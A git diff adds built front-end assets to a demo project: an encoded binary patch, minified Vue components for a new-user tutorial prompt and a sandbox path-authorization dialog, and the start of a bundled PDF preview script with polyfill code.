zjPe)p*t7t|uVXEE8d)1Ns$GA?wLE&Ylwd`;!xpRe>;{i!yxx7g%Bil&OS%owo|yMJf)CgRgbF%6aG@`kjCX{ZWw~H4 zxT$E=PdMKt#G_ZE)?mtr4Tp~;+x}3B!>-*s8hmyLL{75bc{ej0BcVSX{q+svv#xha z-t*lF)}DwMt{K~~auT|#?7n4*dGHoucJiC7+{^`7NwaDe>{u}eOB)1vgW|v=*t5Iu zGVpC!q4@QF1^wu9qTk4kTz&hpwH!L^6*D|m*WbU8jB%5bq4wyJVrOwM!o*ik1a^lGY}TY*E7$)Hpj6c(POo|?!PdkhQa zKYD)m z)$q&rA#NQQzPC_FMZ+jQcKfg$Lr=pyXrO+@)2}GFqb%vZbBN1J0lLc*6I%mt!bQFi z8=zx_#){UwFOzpPQY;t#(115RPD-M%WTeYHphHbu8Cwj27^zVQwFW%Y_f}JVuj$#$^@%6vJ3V@FAy(l}<#PD+lW71S{lKw+lLaE6h4N5dsYTLP?krv*Bd4hl9`=Vp;B z71E1lm4q~52G|=#UwPX`1J#7Zyi`>J9!los7cl71fg~|NH@=jRG^X!KgKCtVNS#x( zO-U|#`_%|Ev{9dhFn}|Y(;HjdysA^6U)omF?&^9jNc)6tuPUs)oE!EmfXGW8p)prT zpB^pPmn2i6?m!UOW(ijn1=Q0cfI1Lnavm-ORV%;)CV*AI{4vB(ut6;(WjiB{xXlGY z+oDFzKv11HX;1&Sl{V@`g?GnZ&s67rGK*=*D*fd%sB9KoJ|5b!58`n3(n9-2)gW3c z6A{n*ynO_sZCI`Oq!~7g@`rr*i+&d%qoMXrE1m6%c(+h)4AQFa4_gFDCg;vYasE+X zH4}tZk?$I7U~uuAvxaC9^?bg)lj*d>RdO66bL?EcZg;rhD3Jc}Y%aiddGVCH7`0Y_ zp79O>JdaMKD>FX?W-;G4mX)@O*Txbavf)&rt0CeG*^B$j$8I+(h<9d$)qPzol}yI$ z5tL%j{RoY~LZnL4Lpl>9z5thU%b)Y~h(3+LQG%B{C8)CNLy3%pY6F5S(TmlH@CM4; zo;&h+&~MP---F~o-IPc=vAKrIT$y=}j@AbJln&iZ&KuuvS0m=$lv2D@g$mw>Q95d+ zP(ei}KRM2k?Jnx7Ky3dDSD&>bKLACf*v>L%rs0IOt{IuAV9Wl82qX0Ft&9zo%WmO#X9X)@LOyJ z0uv67m&>@XujfPv7M{eJK>QJ>;<+^I_ru}=i$*|by3GPj6#}cKQu9m#D5DqdxgUA6 zE<>I)ck>-dr3u(r8qqz|_`iY;k})m1uu>!wY47Jl0E`!vzc8tn{^mu{Y2|d(TI=4` z;QnBlvYFhv)eTW)WU5aysv^W+tt%G<&!vbtMQTCLsD&-SQOIw?S=L=zybq(99>_&k zR3i?(1TG^lP#I0%Pm)EKt6X-gY8-%|GAZj2h1+Yu%WA0Qu)VXal%&x?d3H7B5fEst zc=@(18SOa{nj&-r0YkZ$YSMA>G?GvE6Bc)VHVjPBNw;Li?}M}l$CY?W3D^`|pdG=jFB|2Gx5GDDse``9o{6}tPd4*Zb6so!Z$ z{>q(|MU~gfn&$3l=tbQW-wNf894!R*$zJ^om+tN(Ik3&Jo*vJJ zRlhh6Gl9!KqoLAE>*1Ipj@$SplvO$g)T_{_74YLqEpry2q?N?|h{P`Q9{lbtsOx&T znWvIXc!Ye~U%Z?>>Xul|B#)CwWr%u(Fj==58#MQ!*3RuB0p%aKk z%NGW`Im2PO!J}ZhVc4E0qgGwR z=tcUJPy=7;KL#tRW5jp@3F8>m#Bd_R%6K(EX#6ubv{)9<{%p&dJR7diKe6jeEhbkv z3J~mKs>g+~yqEOcOa7UJ&W+=nVIU7-rXi+J7Ll|)9WkAHT zD3V33(M;v@ktQ*yD>K#Vz^g?Y)PPHy2yA4*7`98L!Jbie&E}UKv7TV%&>qB|X4%Me?xUUl=>zE`0cQT_Qw-(bOpL*!;i`%=Y>-PR*(^R+sQe{U-xQvaeY? zlNy|FW320hn66!Nx<6?j8K5)51PHASPYy+`sJv}{3u)*qfM~1Ejc3WGq}W$Bv<^vo zohsqlaxbJB(+Qw~&d18nnhn|SxHlX2g@$r_! zjHggV#BdlCaA15Cf)mD9G0I3VIoXlQ_fd-y7Uf7K)3|VIim-J9Ew-!LVO8qjkb>Hx zGfb`=p8z_DDt#KoMHEAS3`v3k>LhMflGFZnLn*1^oXlWEdmc_ntu^jRgIzhPdQZu` z%Tkxqfgson8aLEaafQ_h{?HMpNT)Ka7^1aZLiG+Jx;?LYFopS)!S6;ax+^=Dy!%&L zX<}tnn(j3I=&nX(UZ~a$ts@?rQ0Q52^Zqf$EgjJbpQ7mLLW0P ze0hn@Qk1E~)ZUrJNk;#JHjz4IW~3wqEe%G-Sx?FX)TxX?VHe zmjl+qXqp21Pa3}dN5UEk=jl!4&^nyKkfPY;fmjPjoG9Y4MJxL zRyH&5l8Q>TKW?BS|2uTr>@zC`+GweM*Fg_z{IU9Epx^5ETjOz>U{;=4*r3|k8s8CD z7h8q?!PB*CG$M=;2{{}Hf{%!88&UiT8U4L2oC^4d)_e>7K*=IFfBGSjnFB!_j!;Bk zB8|3PidRlw8=3EPt*QD8p+RG&Cp`)0uT-o`R938fzp;7etloV=X+>Pcluzkjr#9cy%dsi$r4^mV z!q{Lo-?_^9Ons?iapDy*Hu|FMc9Vqu%ytF&)Lb@p!baFO_4CuyLX2A3kT@xm38keU zI|}LTtIqcc%WH-=8Gk>OO@ z#n;*nHAswE^#=;6&Nm`i6j^2>qLamz3RoMt9XaGGC3>q z3^!EOO?NL>q3i{Qe#i3l_2#U(VwSVBwcEE09y zQ@^Ei7F~eb0QQG7v)Y}NY;_jy$4mMrAC$>ld$KrNw{V*8auJ*!*P4juK_}snnGqhM zY?ue;y#{R>%Z}E1e4TCymtQ=mt7%zM^Sjnh82SfBHk*Y1GZT8q?TjnT31p?q-;s-~ zxfX5BR{0;ydjYD$}$t< z<{c6(Bn`ocDJ=@E_LgH4{5X3;lj4Kv&kqcJEtHK8DJa`mfJ#UtJB`Y{rNU@NC@p&Y zU-a{DbALfaJg5)NnsCkxmznzgg4X(+1c&>5TxZhF0b7d?m^31G%X=c61!?H5& zvu>9G2UdLG%|)MjbS7U)yWeJs3E1iawxQOn5?7MQIp#}F&MNgJF^dcZg5~hK_W0qq z385QR*yf&h`a46jN=o0PX?$K;;Kv0=^c9odiD%EV^7j})%PVHPsxX!4u>lZc*-~sS zk6N;LG`dg~=eGPb50T10z>ZEz_ig)-)GsjnAWbivk{wl`iJqEVwk)C&e)6gE*_#0L zaIDz1dTFH?9Sl|7OnF87iam7GJsp!&N+s_Q(eK2*_YP{Fr#!ptw*8qk&!~5tRVs$9 zr%!FA6t}U4bg{=p#(H0o;sy!U{v_ue^*brAdo0wB=KYx4lOG&x8nIc!Psf$T#mgny z`G2#_%{5x1hiRJS_+~YQQ&kaPq(@9&OuDe(S%p;j(eELd`WY5)o3ngxL{K4Seaj60 zJ@L+vEv2aR`ns6%>RI_}#kJ0b>dMJaHdoaz@k<8ibk|!d#%7_!6Dftl|FaTjM6mMp zo=}a!_p(bMnf`*-6B{o)2yAlO+t{gqLdvLETX|WHR!TPP(R~iVeZA{?`(TIz3w3)M zNU6qOUT$Mmj8s9wApJomC%TLYX1dZH(I_968_26~^8mzCD_5|yv*3O>i=C|;#lp+! zKO&l)VCm4NA`+LaISE#+2KzyqeC|)c5Nq?TAB!!l&d@yjy*vBt4msK8bsunCZj2AE$7ju%d!SMHE9Nk7E+|}oTfz)d4UJUJUzB2a znNVf^F(d7KVZq#iT;D(WiP^3sSuP{jGMvElDQHEFR(`*oq$ViY;C;Ea1}vBd7P=+( ze2ptt6jVQOiq}tzuMaF;QITSuNOitfI17{IYHLuGR#(JW*-Ih|HB1G@Y?NXsqK-0r zc5o)n5^`B+EI_Ru>@v#YGbjFR#|JB9+Fq(rs_DkzS`FT`JH*N-eMn)h7}96vx)?Mn)+@(-miKjsr%2eVYR=H$!II+k{d zK7aiD_LD_hz^N^SiVfxEPvqx?Se3TG`r;m9souv`pw&GtTXh;er_HTFI3nE1sKnEk zcC`rQf5o}{o;b#Fq)@u&q8&#^B3ij1*4LVB7sxf; zpd=7b%I^=#sKHVbsOzukLq4HYY^cBwd<(Qww71SzmlRu4x(e611afuV$jQ|tebJ!G z=^0P+?U<1>IT}A2A9hXd{s`b0%@ZHR<0d03oW3BeXwIv}d;?EySwm$3f|Y)Z9+R+T0%7 z{mTEpicZ$`nnvml=N_(m$;|#vMz8*VY~uvFJ>Vn`gtUQ%U6oJEmBq8$--tUwlY@lK zI_KsKWJ1-){hLBct#!s|N9(Ncc-%=@EmGgcu7I;k;x7X%rV#s%V`0BU!2I0?<( znratT;d4JHXWNm!qh8+?H+4nD(cG_ck5;Uhik+G%JnL+W5O1BcJHd>%i_VFfpaSnt z9~V<}Bg?lI-3i~h^UgSADdkDO#C2Lb@Nd`!n?4X0YjR6ed9o>Q&xm{?4n#T16b^0= zKT5>h`5Q8Ic=HdwygME0q>y;$6A@?x-C<_fup8DJ{vB zzwG(qR1j5kPz?eZQ6k|!M9#zPPm!l&x%c|49iC#mLI#R4(zC3aNH56qu6|pw?^;lBdJCQOr z{p=+AZ@UMb_p5u+mV&m*A9O_nJ!lBs`>M(6L1Vo~TvAp(u8ac%4tU`5nV>Fs=JG&3 z08fqY{-Yxu5^lr$pp$_|UBAjKjm zN!BDOE;(3mutZWUYf6GdEjmTh>_t%AQqP59vu3CEO@mXr)4EyOGNPrWj9(1naSR^2 zef!0am-2rz602{Omf)$PRk5~iYd7MUl|LuU#DGu6R#sM{HC`P7<}!B8fNJBVq=w+%K73Me&<734gPI32j(!oXWxSO#3f3)6<&CA3n3S@ z(@fa8?beq)^5rW4H&&B4g~Yz++xMvpoEMi%DsW>weT3K}s}*2-8-GqnC_oWkK^i~$ zWAOKmsnf`^6Ry5K_<5z(OsFC_5UdEX>Gf#V28ju$$9jtPQ7j@(ldzlSGo29@%@0n> z+hV@w3Z~VJ67Hq}^YezQS+zsZ>2fcaF?wgxN)(Y^=`V|Fe zW_A1V;pT5qCds8^uRM-#_ITcT&W4TOyCCS;9)Ys%1#|pJ2#DNV`E?05JGGZ`V(KO4QcNdwk5qL={p{=zf zx(usm%*6HNn59$ zvJ9Ky&C3IhW?4>u7kGo*(-7RrP=vy zL1zlt@-0o;ER=9#Vk4@(Ro}O`))BRI6!*hsQ~%@qCWX4rk#A#J{<3;kw6xAOwbGyM ztx543{pLY<7&^9}5IX;MmScavxlVvqLE&z+1{D!o-h3838+)%lH#aAvSiko;OA5w{ z8myUtSrrQRl~{*s+8o`hFRd&stdQFx&+fqDR)UphdbQEP@0&9m$7^Aho}gu?q7Z@i zHb<-RxSH{eTpl(jyV(8@=(@35reZ_cIc!FHh(&VN^Vz zkZ?wOlDn-n5L><^3nP@$unUrYPWi#c2W6gIM|Yq=uvovq>-HtP7I`v6W_fHw7ZMwj z9Ao~~5-ly0f}i{Q4Nu*RXxM8Nf%I0>Dw@mw>KCM`rZ^^abP3v8VTsFpWudy0sdIy% zhMcXw(EByzfE3d|1BpKzl~Ho6TLGF|_S{-mBIvm!RwHMUXhzE_Bny8h)|_6&x}BgV zw+6JeiY(Ob-FdluH#gK^$dP+7E{aiTx6fcNGHAbE*>>+l8F%b_aUrPHXlpnep+rZ? zMcpC`_4V&v!qr+-N^HL0D^`4f$=c&rw0m;;I1h~<=y9JLT})r ztGX#A@qTKe$-!4kMjAXiO^jR~D{Ch0TRRE_4D>mqF&uxJ5+ z4*m4I&A6X8y-VKoB%z;_!ELVJekV}QsA`HMH^kBi^j7{fL#!#XXcN`??=v>)^9VY9 z*zG8@&FHktW=6@f*I2`oWxq;tY~?9qFzUvs9W;^qW~y&s0+ zE^Qxet|y!x`eJjcI#jn^pYox`CS3T>?cKC7Y%iPsX5+NsG7P?q_zGtVWrUpmt|dwN z=AGr?+1dine9l`wZJMZ*7g9LNLut~1cRwD{uu^TfhF?=uid}pI@4~$@GY>;$9#32T z>}C=D9!+kx!(+wmHh&4%<#6VQSe3?~8PO`IwzD?y$IXIrd~R-enU#Hv8-41K;vwy7uk&Pk4b9wvX}07Ls{t#|wAtZl|4_L1?Am4< zA1+*iT2MEo2SJ_LIf621*$~PzC!q13axUS!r!oFAX3B`~ferTdJa~4VBQR2|uAll4 zGy+$9ckj+`LO*#!{u5rOOc_htO)gAbCy)r%r7k2nnIB#`647YWU6qxUhC|W`D=)j0 zEh)7$RXOyR*3SGwYYVJZ!H^+tB`B+0`xeawf@HdUmMo)(l(iq2lU~JEnlK24xtw^_ z%iSDEe^zJ@ME*AY!h8;?#?&v84TlCvCRk80O1H^*D2#~MuDLyaRlmGJQYEQYjX`1b za+}?g?16Y!jVd-2tSo!yq0=Wjtxg!awLaaC>jpS?+$*&j>XKdv#k;Oe{`qGoPyZ>c z@xO9%jZEB9x!Ijom|6(+?6SEGx;D0^G6Wj>-p@mS0FZsDd+&YKI++fts)X4SmEjOg zFU#^C33B6Ja-W0pVeZS-^)E4XzsQwP`HGjR=uW@f&lrERu;&^24$YBK7J`?$DpMXn z`>)TVc|3$en25;3AFD6Z>S@ibV3qb?L%F09m=frBi6sUfE#L|GaE%N+`stM~Rr(d9 zt)!Kj1_T~vucIn0tFgFr{U@eKNv{HQMojmLF>46lP(;ZHs%QfqvKC|a%w3?1YfU>xvx9zpXvWN;*VuN@aS8qM`4QwZ>PFh4gd?c;fK4Ah@yy4|q24ARrvB)S*Egx1-``*;q&b~G@(`Fxfo$lx| zem_k;yquy(tI^Bwdam)vaYTCmKXG30$pwiZ;&kqed*i1NZOV;`d3smx)Pauyq? za||!z!$e}zZ?F>rqW)Vi9P0Hf-Ou zO`R=bYI)>}_43z#0(Y-pxATccy%A3O!$nF5|K$pH4HPd>5G?KO6&}b!{pO6bx1t>l zS!PUBS(yXr&+>V<-aLON^Tgfu3j*fu;zbFvWr^;)4F5f}_4k8YfIiK&XZNzIKB2lE z{qnBVh?8G09gTrTI7BTjJhaGAMEeI*~KyLu}cMi<2&)c1=2lsp39XZyC`fsF0Pb{7juPEzLKfHr`N@6JM@?|_2hIz||Pg0XBx<^PDIzR-isrRE%0HNm8 zM^++u0D{R8_T(N438v3^g46T@$|8yRZdGXTTn_) zvG8)JCMt(#nL=_`a{t+O`p&SJ78>UCpjHK5!7bMt%?1;v>2E>5z0*GXbU?J~iQ^N! zPZ#Y_`nf2j)v5rSh{?OkHh-@z>HG&HgGICP!DS6bUBtXKg^>j)DDfb`C6ih7>p6 zL{M_aBo4w#ftpyrN1!L4RIMu)Ga%ez^3Zlw_|+heVgarZDB+;k6doF-WS8zbIEiUd zo-%R~7Y;l3=wX<6#0On?xE2e>*tR&D#i*Wor6Jn`t-QA*SD-gVTu%* zOvDdh64-yNqN3}KBoQSo5UW()rxt57@{6&3;xxZwTLPh7{FKV8zAyFQ#DuTwpRI_6 zTC6adgcJ#*>$bdZ?Jq&U^1H}S@qRO}<}l}(sD~M15x14w5M2-%&<#WiqPY#+O7ydt z{U=s@-3(r?l__YUfJ;JpFe(;~ra%Ur>1*fLGC3u{Ob|hg%0~&0kkEtEorfr?0EX@H zhqSbitAC=eO8L5nTbjyB-D-|K-YE(eyR+i-YDU84wp(;H*OX<#iw8uRKH(}jBm^QE zKxB}J3xbNmd_E2xQqdyHB1(yvc%tD4DRu_99JMIOO^t_q792U8m!6WO&^>f0tMbJX zP?EBgvG~*hsi;m%D#coam`+KQNiKQ&R-|6?Pg7ABkGLoHWCnO*dD7D+J+9w+Y_d7m zBBqc)5u)S?4nz$}9O^R2s;FnY+d7nCxnY3~2BH1`hxVD7%^KLEhMfLct9^%gah*g`)h#3xT%i2LlU6gqr(_&>O4Hj`{dYJ2Tb%gf?5S&qpT zr$ed)8mST`NR;H5y|P$jaY&#>h=C(9EO3Rg$S8Z{vWu$>9WF?l;|A0t^Fpw*xfRMv!C>hw@Wm9Vs046!)dDTxH)~?8LGnC76NG%%$ zqfAbxi^Y0E^7U1pq+u9=SCD(2aG}8+?N}o8Kz5(+CIRP*+veQ`(`^T4)QFXr=;H zGI}Th)0BMDqRe;IUMow%&r#FFU3xHbgvPTtq9`Tv9R&PLef>N|ssVSQskO?P-g7p~ zCP68+rc(M)Q)A_{PG0t4uk``s=9Ky|tHj?!fYT&uyr%rH2Oug$86&l;xQbg%1sU$h z((YsLY{=2FbrpL6OANW^RGADzoFi2Ao-%5GAY(ZK3+XjQ*)r_%_0uA87vTg4I&Pv$ zoo6EjC|)u+L-Od-3K^M5dE#Df0?|i}8RpUlfSMeYDo)~Pn%b!ioPy+FA=Igdonyr> zddn5~@*@l?7Ly%D*}m?zrvP$*^Z7LsK`I4|IOrYw z%mma?KlxW&tQ{4jgu_m2`QKu8p+*0;IPm|AA2Tp~0zx8U5>hyV42eQxu;dh!RMa%I zqUh)u7@3$^M2itCPW;COo}7PvyA-L?q<`J@XH1rCIdbK3$mitZ=Hca2z^_n|VgV&e zl_^&tD5O%AYBg%rsn?)UlV&Yig|!7{4o_O_Q@4`G|9p`Gi!9+IAN#~@pQX$StE{ok z2AgcL%?`VG)8X{kFCnoNzFO_9xoKwAS?i6?bc^0(v$pf-24xvVl^VTf^vTf{#*Uqy z2?|4BK6K@y51!RkerYBzsY>|D@!>0@POF>sV*j)k?p}&|v)%}_ZsiD^4F!exS-wI4 z&a1bt3V0_?49+3t+y79NTY0JW^O%c+a~}T5DG&LNQM9%p;XJ@uIIA854zN}e-)`N9 z^KD&^4pNLb!qCDvSBysY87J7A0?M0fJ8nOQ(}aI$%AE_+Opl<`rO1C$>3SRP;Zm{g G0ssIWa("start"),o=()=>a("skip");return(B,s)=>(i(),c(f,{name:"overlay-fade"},{default:m(()=>[e.visible?(i(),u("div",{key:0,class:"new-user-tutorial-mask",onClick:p(o,["self"])},[t("div",g,[s[0]||(s[0]=t("p",{class:"eyebrow"},"欢迎",-1)),t("h3",null,"新用户 "+l(e.username||"用户"),1),s[1]||(s[1]=t("p",{class:"desc"},"是否需要通过新手教程来快速认识这个系统?",-1)),t("div",y,[t("button",{type:"button",class:"primary",disabled:e.loading,onClick:r},l(e.loading?"处理中...":"开始吧!"),9,_),t("button",{type:"button",class:"ghost",disabled:e.loading,onClick:o}," 不再提示 ",8,v)])])])):b("",!0)]),_:1}))}}),x=k(w,[["__scopeId","data-v-45dd0402"]]);export{x as default}; diff --git a/demo/static/dist/assets/PathAuthorizationDialog.css b/demo/static/dist/assets/PathAuthorizationDialog.css new file mode 100644 index 0000000..d86f11f --- /dev/null +++ b/demo/static/dist/assets/PathAuthorizationDialog.css @@ -0,0 +1 @@ +.overlay-backdrop[data-v-7d5dbd1a]{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--overlay-scrim);display:flex;align-items:center;justify-content:center;z-index:1000}.overlay-card[data-v-7d5dbd1a]{width:min(680px,92vw);background:var(--theme-surface-soft);border:1px solid var(--theme-control-border);border-radius:12px;padding:12px}.overlay-header[data-v-7d5dbd1a]{display:flex;justify-content:space-between;align-items:center;margin-bottom:8px}.overlay-header h3[data-v-7d5dbd1a]{margin:0;font-size:16px}.overlay-header button[data-v-7d5dbd1a]{border:none;background:transparent;font-size:20px;cursor:pointer}.hint[data-v-7d5dbd1a]{font-size:12px;color:var(--text-secondary);margin:0 0 8px}.mode-switch[data-v-7d5dbd1a]{display:inline-flex;border:1px solid var(--theme-control-border);border-radius:10px;overflow:hidden;margin-bottom:8px}.mode-btn[data-v-7d5dbd1a]{border:none;background:transparent;padding:6px 10px;cursor:pointer;font-size:12px}.mode-btn.active[data-v-7d5dbd1a]{background:var(--theme-tab-active);font-weight:600}.path-input[data-v-7d5dbd1a]{width:100%;min-height:220px;resize:vertical;border:1px solid var(--theme-control-border);border-radius:8px;padding:8px;font-family:ui-monospace,SFMono-Regular,Menlo,monospace}.actions[data-v-7d5dbd1a]{margin-top:10px;display:flex;gap:8px;justify-content:flex-end}.btn[data-v-7d5dbd1a]{border:1px solid var(--theme-control-border);background:var(--theme-tab-active);padding:6px 12px;border-radius:8px;cursor:pointer}.btn-muted[data-v-7d5dbd1a]{background:transparent}.path-auth-fade-enter-active[data-v-7d5dbd1a],.path-auth-fade-leave-active[data-v-7d5dbd1a]{transition:opacity .2s ease,transform .2s ease}.path-auth-fade-enter-from[data-v-7d5dbd1a],.path-auth-fade-leave-to[data-v-7d5dbd1a]{opacity:0}.path-auth-fade-enter-from .overlay-card[data-v-7d5dbd1a],.path-auth-fade-leave-to .overlay-card[data-v-7d5dbd1a]{transform:translateY(8px) scale(.98)}.overlay-card[data-v-7d5dbd1a]{transition:transform .2s ease} diff --git a/demo/static/dist/assets/PathAuthorizationDialog.js b/demo/static/dist/assets/PathAuthorizationDialog.js new file mode 100644 index 0000000..8550afb --- /dev/null +++ b/demo/static/dist/assets/PathAuthorizationDialog.js @@ -0,0 +1 @@ +import{d as i,b as n,e as d,s as u,c as r,g as t,n as l,t as m,f as v,T as b}from"./runtime-dom.esm-bundler.js";import{_ as p}from"./_plugin-vue_export-helper.js";const c={key:0,class:"overlay-backdrop"},k={class:"overlay-card"},y={class:"overlay-header"},$={class:"mode-switch"},f={class:"hint"},h=["value","placeholder"],C={class:"actions"},g=["disabled"],w=i({__name:"PathAuthorizationDialog",props:{open:{type:Boolean},value:{},mode:{},saving:{type:Boolean}},emits:["close","save","update:value","update:mode"],setup(o){return(a,e)=>(n(),d(b,{name:"path-auth-fade"},{default:u(()=>[o.open?(n(),r("div",c,[t("div",k,[t("div",y,[e[6]||(e[6]=t("h3",null,"路径授权",-1)),t("button",{type:"button",onClick:e[0]||(e[0]=s=>a.$emit("close"))},"×")]),t("div",$,[t("button",{type:"button",class:l(["mode-btn",{active:o.mode==="writable"}]),onClick:e[1]||(e[1]=s=>a.$emit("update:mode","writable"))}," 可读可写 ",2),t("button",{type:"button",class:l(["mode-btn",{active:o.mode==="readable"}]),onClick:e[2]||(e[2]=s=>a.$emit("update:mode","readable"))}," 仅可读 ",2)]),t("p",f,m(o.mode==="writable"?"可读可写路径在 workspace-write 沙箱中可写入,只读沙箱中仅可读。":"仅可读路径在只读沙箱中会被加入允许读取列表;工作区可写沙箱默认已可读。"),1),t("textarea",{class:"path-input",value:o.value,onInput:e[3]||(e[3]=s=>a.$emit("update:value",s.target.value)),placeholder:o.mode==="writable"?"每行一个路径,例如:~/Desktop/agents-export":"每行一个路径,例如:~/Documents/reference"},null,40,h),t("div",C,[t("button",{type:"button",class:"btn",onClick:e[4]||(e[4]=s=>a.$emit("save")),disabled:o.saving},"保存",8,g),t("button",{type:"button",class:"btn btn-muted",onClick:e[5]||(e[5]=s=>a.$emit("close"))},"取消")])])])):v("",!0)]),_:1}))}}),z=p(w,[["__scopeId","data-v-7d5dbd1a"]]);export{z as default}; diff --git a/demo/static/dist/assets/PdfPreview.css b/demo/static/dist/assets/PdfPreview.css new file mode 100644 index 0000000..4e5e7bc --- /dev/null +++ b/demo/static/dist/assets/PdfPreview.css @@ -0,0 +1 @@ +.pdf-preview[data-v-812b5a52]{width:100%;min-height:120px}.pdf-preview-loading[data-v-812b5a52],.pdf-preview-error[data-v-812b5a52]{display:flex;align-items:center;justify-content:center;gap:8px;padding:24px;color:var(--text-tertiary);font-size:12px}.pdf-preview-error[data-v-812b5a52]{color:var(--state-error)}.pdf-preview-spinner[data-v-812b5a52]{width:14px;height:14px;border:2px solid var(--border-default);border-top-color:var(--accent-primary);border-radius:50%;animation:pdf-preview-spin-812b5a52 .8s linear infinite}@keyframes pdf-preview-spin-812b5a52{to{transform:rotate(360deg)}} diff --git a/demo/static/dist/assets/PdfPreview.js b/demo/static/dist/assets/PdfPreview.js new file mode 100644 index 0000000..0ad1e58 --- /dev/null +++ b/demo/static/dist/assets/PdfPreview.js @@ -0,0 +1,578 @@ +var mx=Object.defineProperty;var xb=h=>{throw TypeError(h)};var vx=(h,e,t)=>e in h?mx(h,e,{enumerable:!0,configurable:!0,writable:!0,value:t}):h[e]=t;var M=(h,e,t)=>vx(h,typeof e!="symbol"?e+"":e,t),Sv=(h,e,t)=>e.has(h)||xb("Cannot "+t);var a=(h,e,t)=>(Sv(h,e,"read from private field"),t?t.call(h):e.get(h)),b=(h,e,t)=>e.has(h)?xb("Cannot add the same private member more than once"):e instanceof WeakSet?e.add(h):e.set(h,t),g=(h,e,t,n)=>(Sv(h,e,"write to private field"),n?n.call(h,t):e.set(h,t),t),A=(h,e,t)=>(Sv(h,e,"access private method"),t);var ie=(h,e,t,n)=>({set _(r){g(h,e,r,t)},get _(){return a(h,e,n)}});import{d as V1,w as $v,a as tb,b as Fs,c as _s,F as yx,r as bx,$ as Sb,e as bm,h as Cb,y as Ax,X as Am,k as Vc,O as Ex,a1 as Tb,N as wx,l as xx,o as Sx,t as Cx,Q as Tx,u as Px}from"./runtime-dom.esm-bundler.js";import{_ as Ix}from"./_plugin-vue_export-helper.js";var Rx={9306(h,e,t){var n=t(4901),r=t(6823),i=TypeError;h.exports=function(s){if(n(s))return s;throw new i(r(s)+" is not a function")}},3506(h,e,t){var n=t(3925),r=String,i=TypeError;h.exports=function(s){if(n(s))return s;throw new i("Can't set "+r(s)+" as a prototype")}},7080(h,e,t){var n=t(4402).has;h.exports=function(r){return n(r),r}},3463(h){var e=TypeError;h.exports=function(t){if(typeof t=="string")return t;throw new e("Argument is not a string")}},4328(h,e,t){var n=t(4995),r=new n.WeakMap,i=n.set,s=n.remove;h.exports=function(o){return i(r,o,1),s(r,o),o}},6557(h,e,t){var n=t(4995).has;h.exports=function(r){return n(r),r}},6469(h,e,t){var n=t(608),r=t(2360),i=t(4913).f,s=n("unscopables"),o=Array.prototype;o[s]===void 0&&i(o,s,{configurable:!0,value:r(null)}),h.exports=function(l){o[s][l]=!0}},679(h,e,t){var n=t(1625),r=TypeError;h.exports=function(i,s){if(n(s,i))return i;throw new r("Incorrect invocation")}},3972(h,e,t){var n=t(34),r=String,i=TypeError;h.exports=function(s){if(s===void 0||n(s))return s;throw new i(r(s)+" is not an object or undefined")}},8551(h,e,t){var n=t(34),r=String,i=TypeError;h.exports=function(s){if(n(s))return s;throw new i(r(s)+" is not an object")}},4154(h,e,t){var n=t(6955),r=TypeError;h.exports=function(i){if(n(i)==="Uint8Array")return i;throw new r("Argument is not an Uint8Array")}},7811(h){h.exports=typeof ArrayBuffer<"u"&&typeof DataView<"u"},7394(h,e,t){var n=t(4576),r=t(6706),i=t(2195),s=n.ArrayBuffer,o=n.TypeError;h.exports=s&&r(s.prototype,"byteLength","get")||function(l){if(i(l)!=="ArrayBuffer")throw new o("ArrayBuffer expected");return l.byteLength}},3238(h,e,t){var n=t(4576),r=t(7811),i=t(7394),s=n.DataView;h.exports=function(o){if(!r||i(o)!==0)return!1;try{return new s(o),!1}catch{return!0}}},5169(h,e,t){var n=t(3238),r=TypeError;h.exports=function(i){if(n(i))throw new r("ArrayBuffer is detached");return i}},5636(h,e,t){var n=t(4576),r=t(9504),i=t(6706),s=t(7696),o=t(5169),l=t(7394),u=t(4483),c=t(1548),d=n.structuredClone,f=n.ArrayBuffer,p=n.DataView,m=Math.max,v=Math.min,y=f.prototype,E=p.prototype,S=r(y.slice),w=i(y,"resizable","get"),C=i(y,"maxByteLength","get"),x=r(E.getInt8),T=r(E.setInt8);h.exports=(c||u)&&function(I,F,P){var R=l(I),D=F===void 0?R:s(F),k=!w||!w(I),N;if(o(I),c&&(I=d(I,{transfer:[I]}),R===D&&(P||k)))return I;if(R>=D&&(!P||k))N=S(I,0,D);else{var H=P&&!k&&C?{maxByteLength:m(D,C(I))}:void 0;N=new f(D,H);for(var X=new p(I),j=new p(N),U=v(D,R),z=0;z2?s:n(i),u=new r(l);l>o;)u[o]=i[o++];return u}},9617(h,e,t){var n=t(5397),r=t(5610),i=t(6198),s=function(o){return function(l,u,c){var d=n(l),f=i(d);if(f===0)return!o&&-1;var p=r(c,f),m;if(o&&u!==u){for(;f>p;)if(m=d[p++],m!==m)return!0}else for(;f>p;p++)if((o||p in d)&&d[p]===u)return o||p||0;return!o&&-1}};h.exports={includes:s(!0),indexOf:s(!1)}},4527(h,e,t){var n=t(3724),r=t(4376),i=TypeError,s=Object.getOwnPropertyDescriptor,o=n&&!function(){if(this!==void 0)return!0;try{Object.defineProperty([],"length",{writable:!1}).length=1}catch(l){return l instanceof TypeError}}();h.exports=o?function(l,u){if(r(l)&&!s(l,"length").writable)throw new i("Cannot set read only .length");return l.length=u}:function(l,u){return l.length=u}},7680(h,e,t){var n=t(9504);h.exports=n([].slice)},2804(h){var e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",t=e+"+/",n=e+"-_",r=function(i){for(var s={},o=0;o<64;o++)s[i.charAt(o)]=o;return s};h.exports={i2c:t,c2i:r(t),i2cUrl:n,c2iUrl:r(n)}},6319(h,e,t){var n=t(8551),r=t(9539);h.exports=function(i,s,o,l){try{return l?s(n(o)[0],o[1]):s(o)}catch(u){r(i,"throw",u)}}},2195(h,e,t){var n=t(9504),r=n({}.toString),i=n("".slice);h.exports=function(s){return i(r(s),8,-1)}},6955(h,e,t){var n=t(2140),r=t(4901),i=t(2195),s=t(608),o=s("toStringTag"),l=Object,u=i(function(){return arguments}())==="Arguments",c=function(d,f){try{return d[f]}catch{}};h.exports=n?i:function(d){var f,p,m;return d===void 0?"Undefined":d===null?"Null":typeof(p=c(f=l(d),o))=="string"?p:u?i(f):(m=i(f))==="Object"&&r(f.callee)?"Arguments":m}},7740(h,e,t){var n=t(9297),r=t(5031),i=t(7347),s=t(4913);h.exports=function(o,l,u){for(var c=r(l),d=s.f,f=i.f,p=0;pt)throw new e("Maximum allowed index exceeded");return 